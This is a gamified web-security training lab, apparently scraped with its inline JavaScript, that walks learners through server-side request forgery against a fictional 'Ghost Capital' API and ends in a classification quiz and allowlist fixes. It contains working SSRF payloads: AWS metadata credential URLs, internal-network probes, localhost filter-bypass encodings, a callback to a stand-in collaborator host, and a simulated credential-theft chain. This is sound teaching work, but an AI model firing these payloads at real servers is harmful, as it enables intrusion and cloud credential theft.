[SYS] HACKAACADEMY FIELD TERMINAL v5.3.0
[INTEL] TARGET — Ghost Capital financial API — url= parameter unvalidated
[FIND] Server makes HTTP requests on behalf of the user — no allowlist
[WARN] RELAY monitoring — rate limit 10 req/min — rotate if triggered
[HANDLER] MENDAX — channel encrypted — this is the last one
[PRIORITY] OPERATION BLIND RELAY // CAMPAIGN 3: THE GHOST PROTOCOL // OP-10
[TARGET] Make their server fetch what we need. It has the access. We give the address.
[SYS] Nine nodes dark. One left. Make it count, Agent Shadow.
«
‹
HACKAACADEMY
OP-10 // OPERATION BLIND RELAY // SSRF // CAMPAIGN 3: THE GHOST PROTOCOL
0
XP
R1
RANK
0%
DET
↻
RESET
⚡
CAMPAIGN 3: THE GHOST PROTOCOL — OPERATION BLIND RELAY
SERVER-SIDE REQUEST FORGERY // TARGET: GHOST CAPITAL API
10
OWASP A10:2021 — SSRF — CAMPAIGN 3

SERVER-SIDE
REQUEST FORGERY

INTERNAL NETWORK ACCESS // CLOUD CREDENTIAL THEFT // FULL TAKEOVER
OPERATION BLIND RELAY
📡

SITUATION REPORT

CLASSIFIED
Nine Syndicate nodes are dark. One remains — Ghost Capital, a shell of Vantage Systems registered out of a Bucharest tower nobody visits. It launders the money that pays for every breach the Syndicate sells. Shut it down and Operation Blind Proxy is complete.

Ghost Capital built a document retrieval API for its operatives. You give the API a URL. The server fetches that URL and returns whatever it finds. Useful for downloading reports from internal servers.

The problem: the API accepts any URL. No checking. No restrictions.

The server making that request lives inside the Ghost Capital network. It can reach internal addresses that we cannot — admin panels, private databases, and the AWS cloud credential endpoint that gives out master keys to anyone asking from inside.

RELAY, the API architect, believes the private subnet stops outside attackers. He is right — it stops us from reaching it directly. But we are not going to reach it directly. We are going to make his own server do it for us.
THE DELIVERY BOY WHO NEVER SAYS NO
CHILD-LEVEL EXPLANATION
Imagine a trusted courier inside a company who can go anywhere inside the building. Whenever someone inside asks for something, the courier fetches it without question.

Now imagine someone gives the courier a harmless-looking request. But instead of going outside, the courier is tricked into visiting restricted internal rooms that outsiders can never access. The courier brings back whatever he finds there.
If a server fetches any URL you give it — and that server has access to a private internal network you cannot reach — what would you ask it to fetch first?
INTERCEPTED — RELAY COMMS
06:44 UTC
RELAY
"The Director can stop fretting. The retrieval API only works for authenticated users. Our internal services run on subnet 10.10.0.0/24 — completely unreachable from outside. No external attacker can touch our internal network through the API. Vantage paid me to build a fortress, and a fortress is what they got."
MENDAX
He just handed us the exact shape of his mistake, Shadow. RELAY's guarding the subnet from the outside — and forgetting his own API server already lives on the inside. Point it at 10.10.0.1 and it isn't us knocking. It's his own server. His own firewall waves it straight through.
MISSION OBJECTIVES
01
TARGET: The Ghost Capital document API (/api/fetch), run by RELAY — it fetches any URL you hand it from inside the private network
02
EXPLOIT: Point the server inward from the terminal — confirm SSRF, pivot to the internal admin panel, lift AWS cloud credentials, verify them
03
SWEEP: Classify every API endpoint in play — flag which ones can be turned inward and which are safe
04
WIN: Capture the field flag, then close it — the one defence that stops the server fetching where it shouldn't
⚠ ETHICAL NOTICE: SSRF is covered by CEH, OSCP, PortSwigger Web Academy, and every professional security certification. All interactions here are fully simulated against fictional infrastructure. Real SSRF testing requires explicit written authorisation from the system owner.
THE ATTACK — STEP BY STEP
SSRF makes the server fetch a URL on your behalf — reaching internal services you can't reach directly. Classic AWS cloud metadata steal:
// Vulnerable endpoint: POST /api/fetch-url // Normal use: {"url": "https://example.com/image.jpg"} // Attack: POST /api/fetch-url {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} // Server fetches the URL from inside the VPC and returns: { "AccessKeyId": "AKIA...", "SecretAccessKey": "...", "Token": "..." }
These credentials give full AWS API access. Similar endpoints exist on GCP (http://metadata.google.internal/) and Azure (http://169.254.169.254/metadata/instance).
COMMON VARIATIONS
1. Internal network scanning — use SSRF to discover and probe services inside the private network:
// Probe internal hosts: {"url": "http://10.0.0.1"} {"url": "http://192.168.1.1:8080/admin"} {"url": "http://internal-redis:6379"} // Redis responds with banner
2. Filter bypass techniques — when the server blocks obvious internal IPs:
http://2130706433/ (decimal encoding of 127.0.0.1) http://0x7f000001/ (hex encoding) http://127.1/ (shortened localhost) http://attacker.com/ (DNS resolves to 127.0.0.1)
3. Blind SSRF — no response returned, but detect via out-of-band DNS/HTTP to Burp Collaborator:
{"url": "http://YOUR_COLLABORATOR.oastify.com"}
HOW TO DEFEND
Server-side allowlist — but checking the hostname string alone is not enough. DNS resolves at request time, so http://attacker.com/ can point anywhere the attacker wants, including 127.0.0.1 — the exact bypass in the box above. The hostname must be resolved, the resulting IP validated, and that same IP used for the actual connection (never re-resolved), or an attacker can swap the DNS answer between your check and your fetch:
// Node.js defense const dns = require('dns').promises; const net = require('net'); const ALLOWED_HOSTS = ['trusted-cdn.com', 'partner-api.com']; function isPrivateOrLinkLocal(ip) { // Blocks loopback, RFC1918 private ranges, and the // 169.254.0.0/16 link-local range (AWS/GCP/Azure metadata) return /^(127\.|10\.|192\.168\.|169\.254\.|172\.(1[6-9]|2\d|3[01])\.)/.test(ip) || ip === '::1'; } async function safeFetch(urlString) { const url = new URL(urlString); // throws on invalid URL // 1. Allowlist the hostname itself first if (!ALLOWED_HOSTS.includes(url.hostname)) { throw new Error('Host not in allowlist'); } // 2. Resolve DNS and validate the ACTUAL destination IP — // a hostname string alone proves nothing about where it points const { address } = await dns.lookup(url.hostname); if (isPrivateOrLinkLocal(address)) { throw new Error('Forbidden destination (resolves to internal range)'); } // 3. Connect using the already-validated IP, not the hostname again — // if the HTTP client re-resolves the hostname itself, a DNS // rebinding attack can swap the answer between step 2 and the // real request. Most HTTP libraries support pinning the connection // IP while still sending the correct Host header for TLS/SNI. return fetchWithPinnedIP(urlString, address); }
Also: disable HTTP redirects in your fetch client (a 3xx response can redirect to an internal address after the checks above already passed), and run your fetch worker in a network namespace or sandboxed egress proxy with no route to internal services as a defense-in-depth backstop.
⚡ CYBER RANGE — ACTIVE ENVIRONMENT
LIVE
TARGET
ghost-capital-api.ghost-capital.int
IP ADDRESS
10.47.1.10
OS / SERVER
Ubuntu 22.04 · Node.js/18.x
KEY SERVICES
Express.js · /api/fetch endpoint · AWS EC2 instance
ATTACK SCOPE
Internal network + AWS metadata 169.254.169.254 in scope
ATTACKER NODE
shadow@sigma9 · 10.99.0.1
📋 ROOM TASKS
01
✓
Understand why server-side fetching bypasses firewalls
02
▶
Pivot through SSRF to steal AWS IAM credentials
03
○
Classify SSRF-vulnerable vs safe URL fetch patterns
04
○
Identify the domain-allowlist fix
05
○
Submit the capture-the-flag token
🚩
CAPTURE THE FLAG
Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.
PHASE 01
POINT THE SERVER INWARD
MCQ
MENDAX
ENCRYPTED
You just handed the Ghost Capital document API an internal address — and it fetched it for you. The endpoint takes any URL you give it:

GET /api/fetch?url=https://reports.gc.internal/q3.pdf

You swapped that URL for one only the server can reach, and the content came right back. The server made the request — not your browser. It lives inside the Ghost Capital network, so it can touch internal addresses you never could from outside.

RELAY swore the internal subnet was unreachable from outside. True — for you. But you just reached it anyway, through the server.

You just turned the server into your proxy. Now make the call: what handed you that access?
MENDAX — HOW THIS IS ACTUALLY DONE
LIVE
MENDAX
Real method, standard SSRF testing against this authorised, fictional target. The API will fetch any URL I give it — so I point it inward, at an address only the server can reach. The classic probe is the cloud metadata endpoint:
$ curl "https://ghostcap.int/api/fetch?url=\ http://169.254.169.254/latest/meta-data/iam/security-credentials/" # the server fetches it for us and hands back: { "AccessKeyId":"AKIA...", "SecretAccessKey":"..." }
MENDAX
We never touched that internal address — the server did, because it trusted our URL. That's Server-Side Request Forgery. The fix is to validate and allow-list outbound URLs. First, you explain exactly why it works.
TAP AN ANSWER — EXPLANATION APPEARS IMMEDIATELY
MENDAX — HINT (−20 XP)
Think about who makes the HTTP request. When you call /api/fetch?url=http://10.10.0.1/ — is it your computer that fetches that URL, or the Ghost Capital server? And which one has internal network access?
✓
SSRF MECHANISM UNDERSTOOD
The server makes the fetch request using its own identity. It is inside the Ghost Capital network. It can reach 10.10.0.0/24 directly. When it fetches a URL we chose and hands us back the response — it became our delivery boy into the private compound.

Simple version: We handed the delivery boy an address inside the private area. He has a staff pass. He walked straight in and brought everything back. RELAY locked the front gate. He forgot the delivery boy already works inside.
Real world: The 2019 Capital One breach used exactly this. An attacker made a cloud server fetch the AWS metadata endpoint from inside. It returned temporary credentials. 100 million customer records were accessed. $80 million in fines. One URL parameter with no validation.
PHASE 02
ESCALATE — FROM SSRF TO CLOUD TAKEOVER
TERMINAL
SSRF is confirmed. The server fetches any URL we supply — including ones it should never be able to reach from the outside. Four commands, four pivots, full cloud takeover.
MISSION OBJECTIVERun confirm to verify internal network SSRF access, pivot to hit the internal admin panel, metadata to extract AWS IAM credentials from the cloud metadata endpoint, then takeover to verify the stolen keys against live AWS infrastructure.
MENDAX
ENCRYPTED
We are authenticated to the Ghost Capital API. Now we escalate — one step at a time.

Step 1 — Confirm: Prove SSRF is real. Make the server fetch an internal IP.
Step 2 — Pivot: Go deeper. Hit the internal admin panel.
Step 3 — Metadata: Go for the jackpot. Hit the AWS cloud credential endpoint.
Step 4 — Takeover: Use the credentials. Verify they work against real AWS.

Think of the delivery boy: first you send him to the post room to check he can get in. Then the finance office. Then the master key cabinet. Each step opens the next.

Type each command: confirm → pivot → metadata → takeover
shadow@ghost-capital — SSRF ESCALATION TERMINAL
▶ GHOST CAPITAL API — AUTHENTICATED SESSION ACTIVE
Endpoint: GET /api/fetch?url=[ANY URL YOU SUPPLY]
The server fetches that URL using its own internal network access.
Commands available: confirm | pivot | metadata | takeover
shadow@gc:~$ █
shadow@gc:~$ 
MENDAX — HINT (−20 XP)
Four steps in order — confirm to prove SSRF exists by hitting an internal IP, pivot to reach the internal admin panel, metadata to hit the AWS credential endpoint at 169.254.169.254, takeover to verify the credentials work.
✓
GHOST CAPITAL CLOUD CREDENTIALS STOLEN
Four terminal commands. Internal network confirmed. Admin panel contents read. AWS credentials extracted and verified. Ghost Capital's entire cloud infrastructure is now accessible.

Simple version: The delivery boy went to the post room, then the finance office, then the master key cabinet — and brought everything back each time. RELAY protected the front gate. He forgot the delivery boy already works inside.

Every request looked exactly like a normal API call from a legitimate user. No alarms. No errors. Just a URL with no validation.
Real world: Capital One 2019 — SSRF hit the AWS metadata endpoint. Credentials returned. 100 million records accessed. $80 million fine. The entire attack was one unvalidated URL parameter.
PHASE 03
WHICH ENDPOINTS ARE SSRF RISKS?
CLASSIFY
Cloud credentials extracted. Before the patch goes in, map every API endpoint that could have been used for the same attack — defenders who block only one entry point leave all the others open.
MENDAX
ENCRYPTED
MENDAX pulled a list of API features from different NEXUS platforms. Some can be used for SSRF. Some cannot.

Tap a configuration to select it. Then mark it SSRF RISK if a user-supplied URL could make the server fetch internal resources. Mark it SAFE if the user cannot control where the server makes requests.

One simple question: does the user control the URL or hostname that the server then fetches? If yes — SSRF risk. If the URL is hardcoded or from a trusted allowlist — safe.
TAP A CONFIG — THEN CLASSIFY IT
Select an endpoint above
⚠ SSRF RISK
✓ SAFE
MENDAX — HINT (−20 XP)
Ask one question: does the user control the URL that the server uses to make an HTTP request? If the user can supply any URL — SSRF risk. If the server generates the URL itself from a hardcoded value or approved list — safe.
✓
ALL ENDPOINTS CORRECTLY CLASSIFIED
You can now spot an SSRF-vulnerable endpoint on sight.

The pattern: Any feature where the user supplies a URL and the server fetches it is a potential SSRF risk. Safe configurations remove the user's ability to choose the destination — hardcoded URLs, approved allowlists, or no outbound requests at all.
Common SSRF surfaces: Document fetchers, URL previewers, PDF exporters (server renders the page), webhook testers, image importers, link shorteners. If it makes the server go get something from a URL — test it.
PHASE 04
CLOSE THE DOOR — THE RIGHT FIX
DEFENSE
RELAY is down. One architectural decision created this entire chain — a server that fetches any URL without asking who owns it. Lock it down correctly and the attack never starts.
MENDAX — FINAL DEBRIEF
LAST PHASE
RELAY is in custody. Ghost Capital is dark. Ghost Protocol advances — one question away from complete.

MENDAX: "Shadow — last question. RELAY's replacement is in front of the board right now proposing a fix. The API still needs to fetch external documents for legitimate operatives. It just needs to stop fetching internal addresses. Which single change would have stopped every request we made today?"
WHICH FIX STOPS SSRF?
MENDAX — HINT (−20 XP)
Think about WHY the attack worked: the server fetched any URL we gave it. The right fix checks the destination before fetching. Which option defines exactly what IS allowed — so internal IPs and the metadata endpoint are automatically rejected before any request is made?
► INTEL — OP-10 // OPERATION BLIND RELAY
TARGET: NEXUS Internal Proxy Service
Classification: TOP SECRET // Campaign 3 Ghost Protocol
MENDAX — CHANNEL BRIEFING
PRE-OP
MENDAX
The webhook processor accepts a URL parameter and fetches it server-side. No whitelist. Accepts file://, dict://, and http://169.254.169.254 (AWS metadata endpoint).
📓

OWASP CLASSIFICATION

INTEL
A10:2021 — SSRF lets an attacker make the server perform requests to internal infrastructure inaccessible from the outside. Impact: internal service enumeration, cloud credential theft.
⚖
GLOSSARY TERMS: SSRF, Server-Side Request Forgery, AWS Metadata, IMDSv1, URL Whitelist, DNS Rebinding. All terms auto-logged to your Field Manual as you encounter them.
ACADEMY — SERVER-SIDE REQUEST FORGERY
YOU GIVE THE ADDRESS.
THEIR SERVER GOES THERE FOR YOU.
BEGINNERWhat Is SSRF?›
SSRF — Server-Side Request Forgery — happens when a server makes an HTTP request based on a URL that a user controls. The server uses its own network access to make that request — which includes internal services you cannot reach from outside.

Simple version: a website lets you paste a URL and it shows you a preview. The server fetches that URL behind the scenes. You paste an internal address — http://10.0.0.1/admin. The server fetches it and shows you the result. You just read an internal service through the server.

The attacker never broke a firewall. They just handed the delivery boy the wrong address — and the delivery boy went.
Real world: Capital One 2019 — SSRF to the AWS metadata endpoint. 100 million customer records accessed. $80 million fine. One unvalidated URL parameter caused one of the largest data breaches in history.
INTERMEDIATEAttack Techniques›
Basic internal access:
/api/fetch?url=http://10.0.0.1/admin
Server fetches the internal admin panel and returns the HTML

Cloud credential theft:
/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Returns temporary AWS access keys — works from inside the cloud server only

Blind SSRF:
Server fetches the URL but shows you nothing. Use a callback URL on a server you control. When the target server fetches it, you see the request in your logs.

Filter bypass techniques:
Decimal IP: http://2130706433 = 127.0.0.1
Hex: http://0x7f000001 = 127.0.0.1
Redirect chain: your server redirects to the internal IP after the URL passes the filter
IPv6 localhost: http://[::1]
EXPERTDefences and Real CVEs›
The correct fix — allowlist outbound destinations:
Resolve the target URL first. Check the resulting IP against a list of approved destinations. Internal IPs and the metadata endpoint are never on the list — request rejected before it is made.

Additional layers:
Disable HTTP redirects in the fetch client — stops redirect-chain bypass
Block all outbound requests from web server processes by default
Use AWS IMDSv2 — requires a session token before returning credentials
Network-level blocking: prevent the web server process from reaching 169.254.x.x

Notable CVEs:
CVE-2019-11043 — SSRF in GitLab allowing internal network access
CVE-2021-21973 — SSRF in VMware vCenter, CVSS 5.3
CVE-2022-0540 — SSRF in Jira Server
CVE-2021-26855 — Exchange Server SSRF, exploited in HAFNIUM campaign
Capital One 2019: A WAF was misconfigured to forward requests to an EC2 metadata service. SSRF retrieved IAM credentials with S3 read access. 100 million US and 6 million Canadian customer applications downloaded. $80 million GDPR fine. One unvalidated URL.
REAL-WORLD TOOLS — SSRF
WHAT PROFESSIONALS USE
🔍
Burp Suite
FREE TIER
Intercept any request containing a URL parameter in Burp Repeater. Change it to internal addresses — 127.0.0.1, 10.x.x.x, 169.254.169.254. Watch for different response lengths or content that reveals internal data.
Proxy → Intercept → Edit url= parameter → Repeater → Test internal IPs
🌐
Interactsh
FREE / OPEN SOURCE
For blind SSRF where the API shows no output. Get a unique callback URL from Interactsh. Submit it as the SSRF target URL. When the server fetches it — you see the request in your dashboard. SSRF confirmed.
interactsh-client → copy URL → submit as url= value → watch for HTTP/DNS hit
🔥
SSRFmap
FREE / OPEN SOURCE
Automated SSRF scanner. Tests internal addresses, cloud metadata endpoints, and bypass techniques automatically. Feed it the intercepted request and target parameter.
python3 ssrfmap.py -r request.txt -p url -m readfiles
🌊
OWASP ZAP
FREE / OPEN SOURCE
Active scan detects SSRF in URL parameters automatically across an entire application. Good for initial reconnaissance before manual testing with Burp.
Active Scan → Server Side Request Forgery → View alerts
⚡
XP EARNED
+0
FIRST ATTEMPT
RANK: RECRUIT
'}, {c:'tok',t:'[+] SSRF CONFIRMED. Internal IP 10.10.0.1 responded.'}, {c:'tok',t:'[+] The delivery boy just walked into the private compound.'}, {c:'ta',t:'Step 2 ready. Next command: pivot'} ]}, {cmd:'pivot',lines:[ {c:'tg',t:'$ GET /api/fetch?url=http://10.10.0.1/admin/transactions'}, {c:'to',t:'Pivoting to internal admin panel...'}, {c:'to',t:'--- Response ---'}, {c:'tgold',t:'GHOST CAPITAL ADMIN — TRANSACTION REGISTRY'}, {c:'tgold',t:'Total under management: $847,000,000'}, {c:'tgold',t:'Active shell companies: 23'}, {c:'tgold',t:'SWIFT routes: GCBK0001, GCBK0002, GCBK0003'}, {c:'tgold',t:'Last outbound movement: 2024-11-14 03:12 UTC $4.2M'}, {c:'tgold',t:'Pending transfers: $12.8M (queued)'}, {c:'tok',t:'[+] Admin panel accessed. Full financial records returned.'}, {c:'tok',t:'[+] Shell company structure and SWIFT routing extracted.'}, {c:'ta',t:'Step 3 ready. Next command: metadata'} ]}, {cmd:'metadata',lines:[ {c:'tg',t:'$ GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'}, {c:'to',t:'Hitting AWS cloud metadata endpoint...'}, {c:'to',t:'[This address only responds from inside the cloud server]'}, {c:'to',t:'--- Response ---'}, {c:'tgold',t:'GhostCapital-EC2-ProductionRole'}, {c:'tg',t:'$ GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/GhostCapital-EC2-ProductionRole'}, {c:'tgold',t:'{'}, {c:'tgold',t:' "AccessKeyId": "ASIA4GC2024NEXUSX77",'}, {c:'tgold',t:' "SecretAccessKey": "gc9xKGhost+Capital/NEXUS/Prod2024",'}, {c:'tgold',t:' "Token": "IQoJb3JpZ2lu...NEXUS-SESSION-TOKEN",'}, {c:'tgold',t:' "Expiration": "2024-11-15T10:00:00Z"'}, {c:'tgold',t:'}'}, {c:'tok',t:'[+] AWS IAM credentials returned from cloud metadata endpoint.'}, {c:'tok',t:'[+] Access key, secret key, and session token captured.'}, {c:'ta',t:'Step 4 ready. Next command: takeover'} ]}, {cmd:'takeover',lines:[ {c:'tg',t:'$ aws s3 ls --profile ghost-capital'}, {c:'to',t:'Testing captured credentials against AWS API...'}, {c:'to',t:'--- AWS Response ---'}, {c:'tgold',t:'2024-01-15 gc-financial-records-archive'}, {c:'tgold',t:'2024-03-22 gc-operative-identities'}, {c:'tgold',t:'2024-09-01 gc-transaction-logs-2024'}, {c:'tgold',t:'2024-11-01 gc-active-operations-live'}, {c:'tok',t:'[+] Credentials valid. Full AWS account access confirmed.'}, {c:'tok',t:'[+] 4 S3 buckets listed — financial records, identities, logs.'}, {c:'tok',t:''}, {c:'tok',t:'[SUCCESS] GHOST CAPITAL DARK. OPERATION BLIND RELAY COMPLETE.'} ]} ]; var tStep=0;var tDone=false; function tAppend(lines){ var out=document.getElementById('termOut'); var cblk=document.getElementById('cblk'); lines.forEach(function(l){ var sp=document.createElement('span'); sp.className=l.c;sp.textContent=l.t; out.insertBefore(sp,cblk); out.insertBefore(document.createElement('br'),cblk); }); out.scrollTop=out.scrollHeight; } function termKey(e){ if(e.key!=='Enter')return; var inp=document.getElementById('termInp'); var val=inp.value.trim().toLowerCase();inp.value=''; if(tDone)return; var step=STEPS[tStep];if(!step)return; if(val===step.cmd){ tAppend(step.lines);tStep++; if(tStep>=STEPS.length){ tDone=true;S.p1.done=true;save();(function(){if(typeof tAppend==='function'){tAppend([{c:'tgold',t:''},{c:'tgold',t:'▶▶▶ SIGMA-9 FIELD FLAG: CYBERAGENT{op10_ssrf_iam_k3ys}'},{c:'tgold',t:' Copy this flag and submit in the Cyber Range panel above.'}]);}})(); setTimeout(function(){ document.getElementById('ph1-rc').classList.add('show'); setTimeout(function(){ document.getElementById('ph1-kolb').style.display='block'; document.getElementById('ph1-next').style.display='block'; },400); var xp=S.p1.att<=0?C.xp.p1b+C.xp.p1x:Math.round(C.xp.p1b*.7); showXP(xp,'GHOST CAPITAL COMPROMISED','SSRF to metadata to cloud credentials. Four commands. The delivery boy went everywhere we told him to go.'); },600); } }else{ tAppend([{c:'tr',t:'[!] Unknown command: '+val},{c:'ta',t:'Commands: confirm | pivot | metadata | takeover'}]); S.p1.att++; if(S.p1.att>=3)document.getElementById('ph1-hint').classList.add('show'); } } function termHint(){ if(S.xp<20){alert('Not enough XP for a hint.');return;} S.xp-=20;save();hud(); document.getElementById('ph1-hint').classList.add('show'); } // ── PHASE 2 — CLASSIFIER ─────────────────────────────────────── var CLF=[ {text:'Document API: /api/fetch?url=[user-supplied URL]',risk:true}, {text:'User avatar: loaded from hardcoded CDN domain only',risk:false}, {text:'Webhook tester: /test?callback=[user URL]',risk:true}, {text:'Static site: serves files from /var/www/public only',risk:false}, {text:'PDF export: server fetches user-supplied URL to render',risk:true}, {text:'Health check: pings hardcoded internal IPs only',risk:false}, {text:'URL preview: /preview?link=[user-supplied URL]',risk:true}, {text:'Product image: pulled from approved allowlist only',risk:false}, ]; var clfSel=null;var clfAns={}; function initClf(){ var pool=document.getElementById('clfPool'); if(!pool||pool.children.length>0)return; CLF.slice().sort(function(){return Math.random()-.5;}).forEach(function(item,i){ var el=document.createElement('div'); el.style.cssText='padding:7px 10px;background:var(--s3);border:1px solid var(--bdr2);border-radius:var(--rs);font-family:Share Tech Mono,monospace;font-size:10px;color:var(--t);cursor:pointer;transition:all .15s'; el.textContent=item.text; el.onclick=function(){ document.querySelectorAll('#clfPool div').forEach(function(c){c.style.outline='';}); el.style.outline='2px solid var(--gold)'; clfSel={item:item,el:el}; document.getElementById('clfLabel').textContent='Selected: '+item.text; }; pool.appendChild(el); }); } function clfPlace(bucket){ if(!clfSel){document.getElementById('clfLabel').textContent='Tap an endpoint first, then mark it';return;} var item=clfSel.item;var el=clfSel.el; var correct=(bucket==='risk')===item.risk; el.style.display='none'; var tgt=document.getElementById(bucket==='risk'?'clfRiskItems':'clfSafeItems'); var chip=document.createElement('div'); chip.className='clf-chip'; chip.style.background=correct?'rgba(0,255,65,.12)':'rgba(255,68,68,.12)'; chip.style.border='1px solid '+(correct?'rgba(0,255,65,.4)':'rgba(255,68,68,.4)'); chip.style.color=correct?'var(--g)':'#ff6666'; chip.textContent=(correct?'✓ ':'✗ ')+item.text.substring(0,32)+'...'; if(!correct){chip.onclick=function(){chip.remove();el.style.display='';clfSel=null;document.getElementById('clfLabel').textContent='Select an endpoint above';};} tgt.appendChild(chip); var id=CLF.indexOf(item);clfAns[id]={correct:correct}; clfSel=null;document.getElementById('clfLabel').textContent='Select an endpoint above'; if(Object.keys(clfAns).length===CLF.length){ if(Object.values(clfAns).every(function(a){return a.correct;})){ S.p2.done=true;save(); document.getElementById('ph2-rc').classList.add('show'); setTimeout(function(){document.getElementById('ph2-kolb').style.display='block';document.getElementById('ph2-next').style.display='block';},400); showXP(C.xp.p2b+C.xp.p2x,'SSRF SURFACE MAPPED','User-controlled URL plus server-side fetch equals SSRF. Hardcoded URLs and allowlists break the chain.'); }else{ document.getElementById('clfLabel').textContent='Some wrong — tap the red chips to undo and try again'; } } } function ph2Hint(){ if(S.xp<20){alert('Not enough XP.');return;} S.xp-=20;save();hud();document.getElementById('ph2-hint').classList.add('show'); } // ── PHASE 3 — FIXES (shuffled, correct at random position) ───── var FIXES=[ {t:'Block all requests where the URL contains 10.x.x.x or 192.168.x.x',correct:false, fb:'IP blocklists are bypassed with decimal notation (2130706433 = 127.0.0.1), hex encoding, redirect chains, or DNS rebinding. A blocklist needs to be perfect to work — and it never is. An allowlist only needs to define what IS permitted, so everything else is automatically rejected.'}, {t:'Validate the URL against an allowlist of approved external domains before fetching',correct:true,fb:''}, {t:'Require all fetch URLs to use HTTPS instead of HTTP',correct:false, fb:'The protocol makes no difference to SSRF. Internal services are reachable over HTTPS too. The AWS metadata endpoint works on HTTP but many internal services support HTTPS. Requiring HTTPS does not prevent the server from fetching internal addresses — it just changes the protocol of the attack.'}, {t:'Add rate limiting — maximum 20 fetch requests per hour per user',correct:false, fb:'Rate limiting slows an attacker but does not stop SSRF. Even at 20 requests per hour, an attacker has 480 per day — more than enough to confirm SSRF, pivot to the admin panel, hit the metadata endpoint, and steal credentials. The attack takes four requests. Rate limiting stops nothing here.'}, ]; function buildFixes(){ var cont=document.getElementById('ph3-opts'); if(cont.children.length>0)return; FIXES.slice().sort(function(){return Math.random()-.5;}).forEach(function(f){ var b=document.createElement('button');b.className='fix-opt';b.textContent=f.t; b.onclick=function(){ph3Answer(f,b);}; cont.appendChild(b); }); } function ph3Answer(fix,btn){ if(S.p3.done)return;S.p3.att++; var opts=document.querySelectorAll('#ph3-opts .fix-opt'); var res=document.getElementById('ph3-res'); if(fix.correct){ btn.classList.add('ok'); opts.forEach(function(o){if(o!==btn)o.classList.add('locked');}); S.p3.done=true;save(); res.className='fix-res ok'; res.innerHTML='CORRECT — ALLOWLIST OUTBOUND DESTINATIONS.

' +'Before making any HTTP request, the server resolves the destination URL and checks the resulting IP against a list of approved external domains. Internal IP ranges (10.x.x.x, 192.168.x.x, 127.x.x.x) and the cloud metadata endpoint (169.254.169.254) are never on that list. The request is rejected before it is ever made.

' +'Why allowlist beats blocklist: An allowlist defines exactly what IS allowed. Everything else is rejected — including bypass techniques using decimal IPs, hex, redirect chains, and DNS rebinding. The attacker cannot find a clever way around it.

' +'One allowlist. Every SSRF variant stopped.'; setTimeout(function(){showFin();},1000); }else{ btn.classList.add('bad');S.det+=8;hud();save(); res.className='fix-res no';res.innerHTML='Not quite. '+fix.fb; if(S.p3.att>=3)document.getElementById('ph3-hint').classList.add('show'); setTimeout(function(){btn.classList.remove('bad');},600); } } // ── FINALE ───────────────────────────────────────────────────── function showFin(){ var xp=S.p3.att===1?C.xp.p3b+C.xp.p3x:S.p3.att===2?Math.round(C.xp.p3b*.7):Math.round(C.xp.p3b*.5); showXP(xp,'OPERATION BLIND RELAY COMPLETE','Allowlist the destinations. One list stops every SSRF variant. RELAY protected the gate and forgot the delivery boy.'); var ops=[ 'Op 01 — SQL Injection — Operation Blackout', 'Op 02 — XSS — Operation Phantom Script', 'Op 03 — Broken Auth — Operation Iron Gate', 'Op 04 — CSRF — Operation Silent Hand', 'Op 05 — IDOR — Operation Open Files', 'Op 06 — Command Injection — Operation Shell Storm', 'Op 07 — Path Traversal — Operation Dark Corridor', 'Op 08 — File Upload — Operation Trojan Folio', 'Op 09 — XXE — Operation Silent Parse', 'Op 10 — SSRF — Operation Blind Proxy', ]; var opRows=ops.map(function(o){return '
✓'+o+'
';}).join(''); var fin=document.createElement('div'); fin.className='fin'; fin.innerHTML='🏆' +'
OPERATION BLIND RELAY COMPLETE
' +'
GHOST CAPITAL DARK // SSRF MASTERED // GHOST PROTOCOL ADVANCES
' +'
'+S.xp+' XP
' +'
TOTAL XP ACCUMULATED
' +'
OPERATIONS 01–10 COMPLETE
'+opRows+'
' +"
RELAY's greatest mistake was building a delivery boy with no judgment. One allowlist — approved external domains only — would have rejected every URL we submitted. The internal portal, the admin panel, the AWS metadata endpoint, the cloud credentials — all stopped before a single internal request was ever made. Ghost Capital is dark.
" +"
CIPHER: Outstanding work. Campaign 2 officially closed. Ghost Capital dismantled. But Ghost Capital's seized records pointed to something older and larger than the Architect. A name in six separate payment records across three continents: THE CABAL. Not an organisation — a council. Seven individuals who have operated above every criminal network for a decade. NEXUS worked for them. The Architect worked for them. Ghost Capital was their treasury. Campaign 3 briefing incoming.
"; fin.innerHTML += '
▶ NEXT BRIEFINGComing up: Change one digit in the request. Own someone else\'s account. Operation Locked Out — broken authorisation that never checks who\'s asking.
'; fin.innerHTML += '
DEBRIEF — REFLECTION QUESTION
The API fetched any URL you supplied using its own internal network access. What kind of restriction — not authentication, not rate limiting — would stop every SSRF variant in one rule?
'; document.getElementById('pg3').querySelector('.phase-body').appendChild(fin); } // ── RESTORE ──────────────────────────────────────────────────── function restoreUI(){ if(S.p0.done){ var cs=document.querySelectorAll('#ph0-choices .ch'); cs.forEach(function(c,i){if(i===PH0_OK)c.classList.add('ok');else c.classList.add('locked');}); document.getElementById('ph0-rc').classList.add('show'); document.getElementById('ph0-kolb').style.display='block'; document.getElementById('ph0-next').style.display='block'; } if(S.p1.done){ tDone=true;tStep=STEPS.length; tAppend([{c:'tok',t:'[+] Session resumed — Ghost Capital already compromised'}]); document.getElementById('ph1-rc').classList.add('show'); document.getElementById('ph1-kolb').style.display='block'; document.getElementById('ph1-next').style.display='block'; } if(S.p2.done){ document.getElementById('ph2-rc').classList.add('show'); document.getElementById('ph2-kolb').style.display='block'; document.getElementById('ph2-next').style.display='block'; } } // ── START ─────────────────────────────────────────────────────── function startOp(){ progressGuard.init(CONFIG.operationNumber); analyticsHooks.setOp(CONFIG.operationNumber); analyticsHooks.fire('op_start',{op:CONFIG.operationNumber,title:CONFIG.operationTitle}); document.getElementById('intro').style.display='none'; document.getElementById('app').style.display='block'; document.getElementById('termInp').addEventListener('keydown',termKey); buildFixes();initClf();hud();restoreUI(); } (function(){ var btn=document.getElementById('startBtn'); function go(e){e.preventDefault();e.stopPropagation();startOp();} btn.addEventListener('click',go); btn.addEventListener('touchend',go); })(); function bootIntro(){ ['b0','b1','b2','b3','b4','b5','b6','b7'].forEach(function(id,i){ setTimeout(function(){var e=document.getElementById(id);if(e)e.classList.add('show');},i*100); }); setTimeout(function(){var l=document.getElementById('logo');if(l)l.style.opacity='1';},950); setTimeout(function(){var 